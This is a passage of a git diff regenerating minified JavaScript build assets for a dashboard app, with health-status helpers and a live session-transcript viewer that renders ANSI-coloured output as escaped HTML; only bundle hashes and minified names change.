loading"};if(e.status==="unavailable")return{status:"unavailable",reason:e.error};const a=e.data.store_health;return a===void 0?{status:"unavailable",reason:"supervisor did not report store_health"}:{status:"available",value:a,source:"supervisor status.store_health",...e.staleReason!==null?{stale:I(e.staleReason)}:{}}}function Ce(e){return e===null?{status:"unavailable",reason:"supervisor status still loading"}:e.status==="unavailable"?{status:"unavailable",reason:e.error}:{status:"available",value:e.data.work,source:"supervisor status.work",...e.staleReason!==null?{stale:I(e.staleReason)}:{}}}function Le(e){const a=K(e);if(a.status==="unavailable")return{status:"unavailable",reason:a.reason};const s=a.value;return{status:"available",source:"supervisor status.store_health (threshold vs actual)",...a.stale!==void 0?{stale:a.stale}:{},value:[{label:"Dolt MB-per-row ratio",recommended:`<= ${s.threshold_mb_per_row}`,loaded:String(s.ratio_mb_per_row),withinRecommendation:!s.warning}]}}function Te(e){return typeof e=="bigint"?Number(e):e}function j(e){if(e<60)return`${e}s`;if(e<3600)return`${Math.round(e/60)}m`;if(e<86400)return`${Math.round(e/3600)}h`;const a=Math.floor(e/86400),s=Math.round(e%86400/3600);return s>0?`${a}d ${s}h`:`${a}d`}export{Ee as HealthPage};
diff --git a/internal/api/dashboardspa/dist/assets/LiveSessionPeek-BIw38Xn5.js b/internal/api/dashboardspa/dist/assets/LiveSessionPeek-Cjv3DcC3.js
similarity index 72%
rename from internal/api/dashboardspa/dist/assets/LiveSessionPeek-BIw38Xn5.js
rename to internal/api/dashboardspa/dist/assets/LiveSessionPeek-Cjv3DcC3.js
index 9a0751bed2..dc5a351bd6 100644
--- a/internal/api/dashboardspa/dist/assets/LiveSessionPeek-BIw38Xn5.js
+++ b/internal/api/dashboardspa/dist/assets/LiveSessionPeek-Cjv3DcC3.js
@@ -1,4 +1,4 @@
-import{r as d,ai as O,J as I,p as C,x as L,aj as A,I as $,j as l,S as B}from"./index-fZITW1u7.js";import{a as M,b as U,f as v}from"./time-D9v0saHV.js";import{a as D}from"./format-fte2CeYD.js";import{P as F}from"./constants-D2ZRoVbf.js";function q(t,e){const[s,r]=d.useState({status:"idle",stream:{status:"idle"}}),n=d.useRef(!1);return d.useEffect(()=>{if(n.current=!1,!t){r({status:"idle",stream:{status:"idle"}});return}let i=!1,a=null;const u=e&&typeof EventSource<"u";return r({status:"loading",stream:{status:u?"connecting":"idle"}}),O(t).then(c=>{if(!i&&(r({status:"ready",result:c,stream:{status:u?"connecting":"idle"}}),u)){a=new EventSource(I().sessionStreamUrl(G("open supervisor session stream"),t),{withCredentials:!0}),a.onopen=()=>{i||r(p=>p.status==="ready"?{...p,stream:{status:"open"}}:p)};const f=p=>{if(i)return;const h=z(p.data);h.kind==="invalid"&&H(t,n),r(_=>{const m=_.status==="ready"?_.result:c;return h.kind==="invalid"?{status:"ready",result:m,stream:{status:"degraded",error:h.error}}:h.kind==="snapshot"?{status:"ready",result:h.result,stream:{status:"open"}}:{status:"ready",result:{...m,turns:[...m.turns,h.turn],total_chars:m.total_chars+h.turn.text.length,captured_at:new Date().toISOString()},stream:{status:"open"}}})};a.onmessage=f,a.addEventListener("turn",f),a.onerror=()=>{if(i)return;const p=a?.readyState===EventSource.CLOSED?"closed":"connecting";r(h=>h.status==="ready"?{...h,stream:{status:p}}:h)}}},c=>{i||(N("load transcript",t,c),r({status:"failed",error:C(c)||"Failed to load session.",stream:{status:"idle"}}))}),()=>{i=!0,a?.close()}},[t,e]),s}function H(t,e){e.current||(e.current=!0,N("parse stream event",t,b))}function N(t,e,s){L({component:"session-stream",operation:t,message:`${e}: ${C(s)}`})}function G(t){const e=$();if(e===null)throw new Error(`${t} called before an active city was resolved`);return e}const b="Malformed session stream event.";function z(t){let e;try{e=JSON.parse(t)}catch{return{kind:"invalid",error:b}}if(!T(e))return{kind:"invalid",error:b};const s=V(e);return s?{kind:"snapshot",result:s}:typeof e.text!="string"?{kind:"invalid",error:b}:{kind:"turn",turn:{role:typeof e.role=="string"?e.role:"assistant",text:e.text}}}function V(t){if(!Array.isArray(t.turns))return null;const e=t.turns.flatMap(i=>!T(i)||typeof i.text!="string"?[]:[{role:typeof i.role=="string"?i.role:"assistant",text:i.text}]);if(e.length!==t.turns.length)return null;const s=typeof t.session_id=="string"?t.session_id:typeof t.id=="string"?t.id:"";if(!s)return null;const r=typeof t.total_chars=="number"?t.total_chars:e.reduce((i,a)=>i+a.text.length,0);return{...A({id:s,template:typeof t.template=="string"?t.template:"",provider:typeof t.provider=="string"?t.provider:"",format:typeof t.format=="string"?t.format:"conversation",turns:e},typeof t.captured_at=="string"?t.captured_at:new Date().toISOString()),total_chars:r,truncated:t.truncated===!0}}function T(t){return typeof t=="object"&&t!==null&&!Array.isArray(t)}var S=function(t,e){return Object.defineProperty?Object.defineProperty(t,"raw",{value:e}):t.raw=e,t},o;(function(t){t[t.EOS=0]="EOS",t[t.Text=1]="Text",t[t.Incomplete=2]="Incomplete",t[t.ESC=3]="ESC",t[t.Unknown=4]="Unknown",t[t.SGR=5]="SGR",t[t.OSCURL=6]="OSCURL"})(o||(o={}));class J{constructor(){this.VERSION="6.0.6",this.setup_palettes(),this._use_classes=!1,this.bold=!1,this.faint=!1,this.italic=!1,this.underline=!1,this.fg=this.bg=null,this._buffer="",this._url_allowlist={http:1,https:1},this._escape_html=!0,this.boldStyle="font-weight:bold",this.faintStyle="opacity:0.7",this.italicStyle="font-style:italic",this.underlineStyle="text-decoration:underline"}set use_classes(e){this._use_classes=e}get use_classes(){return this._use_classes}set url_allowlist(e){this._url_allowlist=e}get url_allowlist(){return this._url_allowlist}set escape_html(e){this._escape_html=e}get escape_html(){return this._escape_html}set boldStyle(e){this._boldStyle=e}get boldStyle(){return this._boldStyle}set faintStyle(e){this._faintStyle=e}get faintStyle(){return this._faintStyle}set italicStyle(e){this._italicStyle=e}get italicStyle(){return this._italicStyle}set underlineStyle(e){this._underlineStyle=e}get underlineStyle(){return this._underlineStyle}setup_palettes(){this.ansi_colors=[[{rgb:[0,0,0],class_name:"ansi-black"},{rgb:[187,0,0],class_name:"ansi-red"},{rgb:[0,187,0],class_name:"ansi-green"},{rgb:[187,187,0],class_name:"ansi-yellow"},{rgb:[0,0,187],class_name:"ansi-blue"},{rgb:[187,0,187],class_name:"ansi-magenta"},{rgb:[0,187,187],class_name:"ansi-cyan"},{rgb:[255,255,255],class_name:"ansi-white"}],[{rgb:[85,85,85],class_name:"ansi-bright-black"},{rgb:[255,85,85],class_name:"ansi-bright-red"},{rgb:[0,255,0],class_name:"ansi-bright-green"},{rgb:[255,255,85],class_name:"ansi-bright-yellow"},{rgb:[85,85,255],class_name:"ansi-bright-blue"},{rgb:[255,85,255],class_name:"ansi-bright-magenta"},{rgb:[85,255,255],class_name:"ansi-bright-cyan"},{rgb:[255,255,255],class_name:"ansi-bright-white"}]],this.palette_256=[],this.ansi_colors.forEach(r=>{r.forEach(n=>{this.palette_256.push(n)})});let e=[0,95,135,175,215,255];for(let r=0;r<6;++r)for(let n=0;n<6;++n)for(let i=0;i<6;++i){let a={rgb:[e[r],e[n],e[i]],class_name:"truecolor"};this.palette_256.push(a)}let s=8;for(let r=0;r<24;++r,s+=10){let n={rgb:[s,s,s],class_name:"truecolor"};this.palette_256.push(n)}}escape_txt_for_html(e){return this._escape_html?e.replace(/[&<>"']/gm,s=>{if(s==="&")return"&amp;";if(s==="<")return"&lt;";if(s===">")return"&gt;";if(s==='"')return"&quot;";if(s==="'")return"&#x27;"}):e}append_buffer(e){var s=this._buffer+e;this._buffer=s}get_next_packet(){var e={kind:o.EOS,text:"",url:""},s=this._buffer.length;if(s==0)return e;var r=this._buffer.indexOf("\x1B");if(r==-1)return e.kind=o.Text,e.text=this._buffer,this._buffer="",e;if(r>0)return e.kind=o.Text,e.text=this._buffer.slice(0,r),this._buffer=this._buffer.slice(r),e;if(r==0){if(s<3)return e.kind=o.Incomplete,e;var n=this._buffer.charAt(1);if(n!="["&&n!="]"&&n!="(")return e.kind=o.ESC,e.text=this._buffer.slice(0,1),this._buffer=this._buffer.slice(1),e;if(n=="["){this._csi_regex||(this._csi_regex=y(w||(w=S([`
+import{r as d,a4 as O,I,p as C,x as L,a5 as A,H as $,j as l,S as B}from"./index-BFDP6Xwd.js";import{a as M,b as U,f as v}from"./time-D9v0saHV.js";import{a as D}from"./format-fte2CeYD.js";import{P as F}from"./constants-DOaI3lZl.js";function q(t,e){const[s,r]=d.useState({status:"idle",stream:{status:"idle"}}),n=d.useRef(!1);return d.useEffect(()=>{if(n.current=!1,!t){r({status:"idle",stream:{status:"idle"}});return}let i=!1,a=null;const u=e&&typeof EventSource<"u";return r({status:"loading",stream:{status:u?"connecting":"idle"}}),O(t).then(c=>{if(!i&&(r({status:"ready",result:c,stream:{status:u?"connecting":"idle"}}),u)){a=new EventSource(I().sessionStreamUrl(G("open supervisor session stream"),t),{withCredentials:!0}),a.onopen=()=>{i||r(p=>p.status==="ready"?{...p,stream:{status:"open"}}:p)};const f=p=>{if(i)return;const h=z(p.data);h.kind==="invalid"&&H(t,n),r(_=>{const m=_.status==="ready"?_.result:c;return h.kind==="invalid"?{status:"ready",result:m,stream:{status:"degraded",error:h.error}}:h.kind==="snapshot"?{status:"ready",result:h.result,stream:{status:"open"}}:{status:"ready",result:{...m,turns:[...m.turns,h.turn],total_chars:m.total_chars+h.turn.text.length,captured_at:new Date().toISOString()},stream:{status:"open"}}})};a.onmessage=f,a.addEventListener("turn",f),a.onerror=()=>{if(i)return;const p=a?.readyState===EventSource.CLOSED?"closed":"connecting";r(h=>h.status==="ready"?{...h,stream:{status:p}}:h)}}},c=>{i||(N("load transcript",t,c),r({status:"failed",error:C(c)||"Failed to load session.",stream:{status:"idle"}}))}),()=>{i=!0,a?.close()}},[t,e]),s}function H(t,e){e.current||(e.current=!0,N("parse stream event",t,b))}function N(t,e,s){L({component:"session-stream",operation:t,message:`${e}: ${C(s)}`})}function G(t){const e=$();if(e===null)throw new Error(`${t} called before an active city was resolved`);return e}const b="Malformed session stream event.";function z(t){let e;try{e=JSON.parse(t)}catch{return{kind:"invalid",error:b}}if(!T(e))return{kind:"invalid",error:b};const s=V(e);return s?{kind:"snapshot",result:s}:typeof e.text!="string"?{kind:"invalid",error:b}:{kind:"turn",turn:{role:typeof e.role=="string"?e.role:"assistant",text:e.text}}}function V(t){if(!Array.isArray(t.turns))return null;const e=t.turns.flatMap(i=>!T(i)||typeof i.text!="string"?[]:[{role:typeof i.role=="string"?i.role:"assistant",text:i.text}]);if(e.length!==t.turns.length)return null;const s=typeof t.session_id=="string"?t.session_id:typeof t.id=="string"?t.id:"";if(!s)return null;const r=typeof t.total_chars=="number"?t.total_chars:e.reduce((i,a)=>i+a.text.length,0);return{...A({id:s,template:typeof t.template=="string"?t.template:"",provider:typeof t.provider=="string"?t.provider:"",format:typeof t.format=="string"?t.format:"conversation",turns:e},typeof t.captured_at=="string"?t.captured_at:new Date().toISOString()),total_chars:r,truncated:t.truncated===!0}}function T(t){return typeof t=="object"&&t!==null&&!Array.isArray(t)}var S=function(t,e){return Object.defineProperty?Object.defineProperty(t,"raw",{value:e}):t.raw=e,t},o;(function(t){t[t.EOS=0]="EOS",t[t.Text=1]="Text",t[t.Incomplete=2]="Incomplete",t[t.ESC=3]="ESC",t[t.Unknown=4]="Unknown",t[t.SGR=5]="SGR",t[t.OSCURL=6]="OSCURL"})(o||(o={}));class P{constructor(){this.VERSION="6.0.6",this.setup_palettes(),this._use_classes=!1,this.bold=!1,this.faint=!1,this.italic=!1,this.underline=!1,this.fg=this.bg=null,this._buffer="",this._url_allowlist={http:1,https:1},this._escape_html=!0,this.boldStyle="font-weight:bold",this.faintStyle="opacity:0.7",this.italicStyle="font-style:italic",this.underlineStyle="text-decoration:underline"}set use_classes(e){this._use_classes=e}get use_classes(){return this._use_classes}set url_allowlist(e){this._url_allowlist=e}get url_allowlist(){return this._url_allowlist}set escape_html(e){this._escape_html=e}get escape_html(){return this._escape_html}set boldStyle(e){this._boldStyle=e}get boldStyle(){return this._boldStyle}set faintStyle(e){this._faintStyle=e}get faintStyle(){return this._faintStyle}set italicStyle(e){this._italicStyle=e}get italicStyle(){return this._italicStyle}set underlineStyle(e){this._underlineStyle=e}get underlineStyle(){return this._underlineStyle}setup_palettes(){this.ansi_colors=[[{rgb:[0,0,0],class_name:"ansi-black"},{rgb:[187,0,0],class_name:"ansi-red"},{rgb:[0,187,0],class_name:"ansi-green"},{rgb:[187,187,0],class_name:"ansi-yellow"},{rgb:[0,0,187],class_name:"ansi-blue"},{rgb:[187,0,187],class_name:"ansi-magenta"},{rgb:[0,187,187],class_name:"ansi-cyan"},{rgb:[255,255,255],class_name:"ansi-white"}],[{rgb:[85,85,85],class_name:"ansi-bright-black"},{rgb:[255,85,85],class_name:"ansi-bright-red"},{rgb:[0,255,0],class_name:"ansi-bright-green"},{rgb:[255,255,85],class_name:"ansi-bright-yellow"},{rgb:[85,85,255],class_name:"ansi-bright-blue"},{rgb:[255,85,255],class_name:"ansi-bright-magenta"},{rgb:[85,255,255],class_name:"ansi-bright-cyan"},{rgb:[255,255,255],class_name:"ansi-bright-white"}]],this.palette_256=[],this.ansi_colors.forEach(r=>{r.forEach(n=>{this.palette_256.push(n)})});let e=[0,95,135,175,215,255];for(let r=0;r<6;++r)for(let n=0;n<6;++n)for(let i=0;i<6;++i){let a={rgb:[e[r],e[n],e[i]],class_name:"truecolor"};this.palette_256.push(a)}let s=8;for(let r=0;r<24;++r,s+=10){let n={rgb:[s,s,s],class_name:"truecolor"};this.palette_256.push(n)}}escape_txt_for_html(e){return this._escape_html?e.replace(/[&<>"']/gm,s=>{if(s==="&")return"&amp;";if(s==="<")return"&lt;";if(s===">")return"&gt;";if(s==='"')return"&quot;";if(s==="'")return"&#x27;"}):e}append_buffer(e){var s=this._buffer+e;this._buffer=s}get_next_packet(){var e={kind:o.EOS,text:"",url:""},s=this._buffer.length;if(s==0)return e;var r=this._buffer.indexOf("\x1B");if(r==-1)return e.kind=o.Text,e.text=this._buffer,this._buffer="",e;if(r>0)return e.kind=o.Text,e.text=this._buffer.slice(0,r),this._buffer=this._buffer.slice(r),e;if(r==0){if(s<3)return e.kind=o.Incomplete,e;var n=this._buffer.charAt(1);if(n!="["&&n!="]"&&n!="(")return e.kind=o.ESC,e.text=this._buffer.slice(0,1),this._buffer=this._buffer.slice(1),e;if(n=="["){this._csi_regex||(this._csi_regex=y(w||(w=S([`
                         ^                           # beginning of line
                                                     #
                                                     # First attempt
@@ -32,7 +32,7 @@ import{r as d,ai as O,J as I,p as C,x as L,aj as A,I as $,j as l,S as B}from"./i
                           [\\x20-\\x7e]*                # anything legal
                           ([\\x00-\\x1f:])              # anything illegal
                         )
-                    `]))));let a=this._buffer.match(this._csi_regex);if(a===null)return e.kind=o.Incomplete,e;if(a[4])return e.kind=o.ESC,e.text=this._buffer.slice(0,1),this._buffer=this._buffer.slice(1),e;a[1]!=""||a[3]!="m"?e.kind=o.Unknown:e.kind=o.SGR,e.text=a[2];var i=a[0].length;return this._buffer=this._buffer.slice(i),e}else if(n=="]"){if(s<4)return e.kind=o.Incomplete,e;if(this._buffer.charAt(2)!="8"||this._buffer.charAt(3)!=";")return e.kind=o.ESC,e.text=this._buffer.slice(0,1),this._buffer=this._buffer.slice(1),e;this._osc_st||(this._osc_st=P(E||(E=S([`
+                    `]))));let a=this._buffer.match(this._csi_regex);if(a===null)return e.kind=o.Incomplete,e;if(a[4])return e.kind=o.ESC,e.text=this._buffer.slice(0,1),this._buffer=this._buffer.slice(1),e;a[1]!=""||a[3]!="m"?e.kind=o.Unknown:e.kind=o.SGR,e.text=a[2];var i=a[0].length;return this._buffer=this._buffer.slice(i),e}else if(n=="]"){if(s<4)return e.kind=o.Incomplete,e;if(this._buffer.charAt(2)!="8"||this._buffer.charAt(3)!=";")return e.kind=o.ESC,e.text=this._buffer.slice(0,1),this._buffer=this._buffer.slice(1),e;this._osc_st||(this._osc_st=Z(E||(E=S([`
                         (?:                         # legal sequence
                           (\x1B\\)                    # ESC                           |                           # alternate
                           (\x07)                      # BEL (what xterm did)
@@ -95,4 +95,4 @@ import{r as d,ai as O,J as I,p as C,x as L,aj as A,I as $,j as l,S as B}from"./i
                           |                           # alternate
                           (?:\\x07)                    # BEL (what xterm did)
                         )
-                    `]))));let a=this._buffer.match(this._osc_regex);if(a===null)return e.kind=o.ESC,e.text=this._buffer.slice(0,1),this._buffer=this._buffer.slice(1),e;e.kind=o.OSCURL,e.url=a[1],e.text=a[2];var i=a[0].length;return this._buffer=this._buffer.slice(i),e}else if(n=="(")return e.kind=o.Unknown,this._buffer=this._buffer.slice(3),e}}ansi_to_html(e){this.append_buffer(e);for(var s=[];;){var r=this.get_next_packet();if(r.kind==o.EOS||r.kind==o.Incomplete)break;r.kind==o.ESC||r.kind==o.Unknown||(r.kind==o.Text?s.push(this.transform_to_html(this.with_state(r))):r.kind==o.SGR?this.process_ansi(r):r.kind==o.OSCURL&&s.push(this.process_hyperlink(r)))}return s.join("")}with_state(e){return{bold:this.bold,faint:this.faint,italic:this.italic,underline:this.underline,fg:this.fg,bg:this.bg,text:e.text}}process_ansi(e){let s=e.text.split(";");for(;s.length>0;){let r=s.shift(),n=parseInt(r,10);if(isNaN(n)||n===0)this.fg=null,this.bg=null,this.bold=!1,this.faint=!1,this.italic=!1,this.underline=!1;else if(n===1)this.bold=!0;else if(n===2)this.faint=!0;else if(n===3)this.italic=!0;else if(n===4)this.underline=!0;else if(n===21)this.bold=!1;else if(n===22)this.faint=!1,this.bold=!1;else if(n===23)this.italic=!1;else if(n===24)this.underline=!1;else if(n===39)this.fg=null;else if(n===49)this.bg=null;else if(n>=30&&n<38)this.fg=this.ansi_colors[0][n-30];else if(n>=40&&n<48)this.bg=this.ansi_colors[0][n-40];else if(n>=90&&n<98)this.fg=this.ansi_colors[1][n-90];else if(n>=100&&n<108)this.bg=this.ansi_colors[1][n-100];else if((n===38||n===48)&&s.length>0){let i=n===38,a=s.shift();if(a==="5"&&s.length>0){let u=parseInt(s.shift(),10);u>=0&&u<=255&&(i?this.fg=this.palette_256[u]:this.bg=this.palette_256[u])}if(a==="2"&&s.length>2){let u=parseInt(s.shift(),10),c=parseInt(s.shift(),10),f=parseInt(s.shift(),10);if(u>=0&&u<=255&&c>=0&&c<=255&&f>=0&&f<=255){let p={rgb:[u,c,f],class_name:"truecolor"};i?this.fg=p:this.bg=p}}}}}transform_to_html(e){let s=e.text;if(s.length===0||(s=this.escape_txt_for_html(s),!e.bold&&!e.italic&&!e.faint&&!e.underline&&e.fg===null&&e.bg===null))return s;let r=[],n=[],i=e.fg,a=e.bg;e.bold&&r.push(this._boldStyle),e.faint&&r.push(this._faintStyle),e.italic&&r.push(this._italicStyle),e.underline&&r.push(this._underlineStyle),this._use_classes?(i&&(i.class_name!=="truecolor"?n.push(`${i.class_name}-fg`):r.push(`color:rgb(${i.rgb.join(",")})`)),a&&(a.class_name!=="truecolor"?n.push(`${a.class_name}-bg`):r.push(`background-color:rgb(${a.rgb.join(",")})`))):(i&&r.push(`color:rgb(${i.rgb.join(",")})`),a&&r.push(`background-color:rgb(${a.rgb})`));let u="",c="";return n.length&&(u=` class="${n.join(" ")}"`),r.length&&(c=` style="${r.join(";")}"`),`<span${c}${u}>${s}</span>`}process_hyperlink(e){let s=e.url.split(":");return s.length<1||!this._url_allowlist[s[0]]?"":`<a href="${this.escape_txt_for_html(e.url)}">${this.escape_txt_for_html(e.text)}</a>`}}function y(t,...e){let s=t.raw[0],r=/^\s+|\s+\n|\s*#[\s\S]*?\n|\n/gm,n=s.replace(r,"");return new RegExp(n)}function P(t,...e){let s=t.raw[0],r=/^\s+|\s+\n|\s*#[\s\S]*?\n|\n/gm,n=s.replace(r,"");return new RegExp(n,"g")}var w,E,j;const Z=/\x1b\][^\x07\x1b\x9c]*(?:\x07|\x1b\\|\x9c)/g,W=/\x1b\[[?0-9;]*[a-ln-zA-Z]/g,X=/\x1b(?!\[[?0-9;]*m)[@-Z\\-_]?/g,Q=/[\x00-\x08\x0b\x0c\x0e-\x1a\x1c-\x1f\x7f-\x9f]/g;function Y(t){return t.replace(Z,"").replace(W,"").replace(X,"").replace(Q,"")}function K({children:t,caption:e}){const[s,r]=d.useState(!1),n=d.useRef(null),i=d.useRef(null),a=d.useRef(!0),[u,c]=d.useState(!1),f=d.useId(),p=s?i:n;d.useEffect(()=>{const g=p.current;!g||!a.current||(g.scrollTop=g.scrollHeight)});const h=d.useCallback(g=>{const x=g.currentTarget;a.current=x.scrollHeight-x.scrollTop-x.clientHeight<8},[]);d.useEffect(()=>{if(!s){c(!1);return}if(window.matchMedia("(prefers-reduced-motion: reduce)").matches){c(!0);return}const g=requestAnimationFrame(()=>c(!0));return()=>cancelAnimationFrame(g)},[s]),d.useEffect(()=>{if(!s)return;const g=x=>{x.key==="Escape"&&(x.stopPropagation(),r(!1),a.current=!0)};return document.addEventListener("keydown",g,!0),()=>document.removeEventListener("keydown",g,!0)},[s]);const _=()=>{a.current=!0,r(!0)},m=()=>{a.current=!0,r(!1)};return s?l.jsxs(l.Fragment,{children:[l.jsx("div",{className:"fixed inset-0 z-[60] bg-fg/30","aria-hidden":"true",onClick:m}),l.jsxs("div",{role:"dialog","aria-modal":"true","aria-labelledby":f,className:["fixed inset-[5%] z-[61] flex flex-col","bg-surface border border-rule rounded-md","transition-[opacity,transform] duration-150 ease-out motion-reduce:transition-none",u?"opacity-100 scale-100":"opacity-0 scale-95"].join(" "),onClick:g=>g.stopPropagation(),children:[l.jsxs("div",{className:"px-5 pt-4 pb-3 border-b border-rule shrink-0 space-y-1",children:[l.jsx("h2",{id:f,className:"text-label uppercase tracking-wider text-fg-faint",children:"Chat Transcript"}),l.jsxs("div",{className:"flex items-baseline gap-3",children:[e&&l.jsx("span",{className:"text-label uppercase tracking-wider text-fg-faint tnum",children:e}),l.jsx("button",{type:"button",onClick:m,"aria-label":"Collapse transcript",className:"text-label uppercase tracking-wider text-fg-muted hover:text-fg transition-colors duration-150 ease-out focus-mark rounded-sm px-1 ml-auto",children:"collapse ×"})]})]}),l.jsx("div",{ref:i,onScroll:h,className:"flex-1 overflow-y-auto p-5",children:t})]})]}):l.jsxs("div",{children:[l.jsx("header",{className:"flex items-baseline justify-end mb-4 gap-3",children:l.jsxs("div",{className:"flex items-baseline gap-3 min-w-0",children:[e&&l.jsx("span",{className:"text-label uppercase tracking-wider text-fg-faint tnum shrink-0",children:e}),l.jsx("button",{type:"button",onClick:_,"aria-label":"Expand transcript",className:"text-label uppercase tracking-wider text-fg-muted hover:text-fg transition-colors duration-150 ease-out focus-mark rounded-sm shrink-0",children:"expand ⤢"})]})}),l.jsx("div",{ref:n,onScroll:h,className:"h-96 overflow-y-auto p-4",children:t})]})}const k=512,ee=/\b\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}(?:\.\d+)?(?:Z|[+-]\d{2}:\d{2})?(?!\d)/;function te(t){if(t.length===0)return null;const s=(t.length>k?t.slice(0,k):t).match(ee);return s?s[0]:null}function se({loading:t,error:e,result:s,caption:r}){if(t&&s===null)return l.jsx("p",{className:"text-fg-muted italic",children:"Fetching transcript."});if(e)return l.jsx("p",{className:"text-accent",role:"alert",children:e});if(!s)return null;if(s.turns.length===0)return l.jsx("p",{className:"text-fg-muted italic",children:"No turns in this session yet."});const n=Date.now();return l.jsx(K,{...r!==void 0?{caption:r}:{},children:l.jsxs("div",{className:"space-y-6",children:[r===void 0&&l.jsx("p",{className:"text-label uppercase tracking-wider text-fg-faint tnum",title:s.captured_at,children:M(s.captured_at)}),l.jsxs("p",{className:"text-label uppercase tracking-wider text-warn",children:["▲ ",F]}),l.jsx("ol",{className:"space-y-5",children:s.turns.map((i,a)=>l.jsx(ne,{turn:i,index:a,now:n},a))}),s.truncated&&l.jsxs("p",{className:"text-label uppercase tracking-wider text-fg-faint italic",children:["Some turns truncated at the per-turn or total cap. Run"," ",l.jsx("code",{className:"text-fg-muted",children:"gc session peek"})," in a terminal for the full transcript."]})]})})}function ne({turn:t,index:e,now:s}){const r=d.useMemo(()=>re(t.text),[t.text]),n=d.useMemo(()=>te(t.text),[t.text]);return l.jsxs("li",{children:[l.jsxs("header",{className:"flex items-start justify-between gap-3 pb-2 border-b border-rule mb-2",children:[l.jsxs("span",{className:"text-label uppercase tracking-wider text-fg-faint tnum",children:["#",(e+1).toString().padStart(2,"0")]}),l.jsxs("div",{className:"flex flex-col items-end leading-tight",title:n??void 0,children:[l.jsx("span",{className:"text-body text-fg tnum",children:U(n)}),l.jsx("span",{className:"text-label uppercase tracking-wider text-fg-faint tnum",children:v(n,s)}),l.jsx(ie,{role:t.role})]})]}),l.jsx("pre",{className:"text-body whitespace-pre-wrap leading-relaxed overflow-x-auto text-fg",children:r})]})}function re(t){const e=Y(t),s=new J;s.use_classes=!0;const r=s.ansi_to_html(e);if(typeof DOMParser>"u")return[e];const n=new DOMParser().parseFromString(`<body>${r}</body>`,"text/html");return Array.from(n.body.childNodes).map((i,a)=>R(i,String(a)))}function R(t,e){if(t.nodeType===3)return t.textContent??"";if(t.nodeType!==1)return null;const s=t,r=Array.from(s.childNodes).map((n,i)=>R(n,`${e}-${i}`));return s.tagName.toLowerCase()==="br"?l.jsx("br",{},e):s.tagName.toLowerCase()!=="span"?l.jsx("span",{children:r},e):l.jsx("span",{className:s.getAttribute("class")??void 0,children:r},e)}function ie({role:t}){const e=ae(t);return l.jsx("span",{className:`text-label uppercase tracking-wider font-medium ${e}`,children:t.replace(/_/g," ")})}function ae(t){switch(t){case"assistant":return"text-accent";case"user":return"text-fg";case"system":return"text-warn";case"tool_use":case"tool_result":return"text-fg-muted";default:return"text-fg-faint"}}function de({sessionId:t,stream:e,showBadge:s=!0,showCaption:r=!1}){const n=q(t,e),i=n.status==="ready"?n.result:null,a=n.status==="loading",u=n.status==="failed"?n.error:null,c=le(n.stream),f=[];return r&&i&&(f.push(`${i.turns.length} turn(s)`),f.push(D(i.total_chars,"chars")),f.push(`captured ${v(i.captured_at,Date.now())}`)),l.jsxs("div",{className:"space-y-4",children:[s&&l.jsx("div",{className:"flex justify-end",children:l.jsx(B,{tone:c.tone,label:c.label,title:`Session stream: ${n.stream.status}`,className:"text-label uppercase tracking-wider"})}),l.jsx(se,{loading:a,error:u,result:i,...f.length>0?{caption:f.join(" · ")}:{}})]})}function le(t){switch(typeof t=="string"?t:t.status){case"open":return{tone:"ok",label:"live"};case"connecting":return{tone:"warn",label:"connecting"};case"closed":return{tone:"stuck",label:"offline"};case"degraded":return{tone:"warn",label:"degraded"};case"idle":return{tone:"neutral",label:"snapshot"}}}function he(t){return t===null?!1:t.running===!0||t.state==="active"||t.state==="running"}function pe(t){return t===null||!t.session?!1:t.running===!0||t.state==="active"||t.state==="running"}export{de as L,se as S,he as a,pe as i,q as u};
+                    `]))));let a=this._buffer.match(this._osc_regex);if(a===null)return e.kind=o.ESC,e.text=this._buffer.slice(0,1),this._buffer=this._buffer.slice(1),e;e.kind=o.OSCURL,e.url=a[1],e.text=a[2];var i=a[0].length;return this._buffer=this._buffer.slice(i),e}else if(n=="(")return e.kind=o.Unknown,this._buffer=this._buffer.slice(3),e}}ansi_to_html(e){this.append_buffer(e);for(var s=[];;){var r=this.get_next_packet();if(r.kind==o.EOS||r.kind==o.Incomplete)break;r.kind==o.ESC||r.kind==o.Unknown||(r.kind==o.Text?s.push(this.transform_to_html(this.with_state(r))):r.kind==o.SGR?this.process_ansi(r):r.kind==o.OSCURL&&s.push(this.process_hyperlink(r)))}return s.join("")}with_state(e){return{bold:this.bold,faint:this.faint,italic:this.italic,underline:this.underline,fg:this.fg,bg:this.bg,text:e.text}}process_ansi(e){let s=e.text.split(";");for(;s.length>0;){let r=s.shift(),n=parseInt(r,10);if(isNaN(n)||n===0)this.fg=null,this.bg=null,this.bold=!1,this.faint=!1,this.italic=!1,this.underline=!1;else if(n===1)this.bold=!0;else if(n===2)this.faint=!0;else if(n===3)this.italic=!0;else if(n===4)this.underline=!0;else if(n===21)this.bold=!1;else if(n===22)this.faint=!1,this.bold=!1;else if(n===23)this.italic=!1;else if(n===24)this.underline=!1;else if(n===39)this.fg=null;else if(n===49)this.bg=null;else if(n>=30&&n<38)this.fg=this.ansi_colors[0][n-30];else if(n>=40&&n<48)this.bg=this.ansi_colors[0][n-40];else if(n>=90&&n<98)this.fg=this.ansi_colors[1][n-90];else if(n>=100&&n<108)this.bg=this.ansi_colors[1][n-100];else if((n===38||n===48)&&s.length>0){let i=n===38,a=s.shift();if(a==="5"&&s.length>0){let u=parseInt(s.shift(),10);u>=0&&u<=255&&(i?this.fg=this.palette_256[u]:this.bg=this.palette_256[u])}if(a==="2"&&s.length>2){let u=parseInt(s.shift(),10),c=parseInt(s.shift(),10),f=parseInt(s.shift(),10);if(u>=0&&u<=255&&c>=0&&c<=255&&f>=0&&f<=255){let p={rgb:[u,c,f],class_name:"truecolor"};i?this.fg=p:this.bg=p}}}}}transform_to_html(e){let s=e.text;if(s.length===0||(s=this.escape_txt_for_html(s),!e.bold&&!e.italic&&!e.faint&&!e.underline&&e.fg===null&&e.bg===null))return s;let r=[],n=[],i=e.fg,a=e.bg;e.bold&&r.push(this._boldStyle),e.faint&&r.push(this._faintStyle),e.italic&&r.push(this._italicStyle),e.underline&&r.push(this._underlineStyle),this._use_classes?(i&&(i.class_name!=="truecolor"?n.push(`${i.class_name}-fg`):r.push(`color:rgb(${i.rgb.join(",")})`)),a&&(a.class_name!=="truecolor"?n.push(`${a.class_name}-bg`):r.push(`background-color:rgb(${a.rgb.join(",")})`))):(i&&r.push(`color:rgb(${i.rgb.join(",")})`),a&&r.push(`background-color:rgb(${a.rgb})`));let u="",c="";return n.length&&(u=` class="${n.join(" 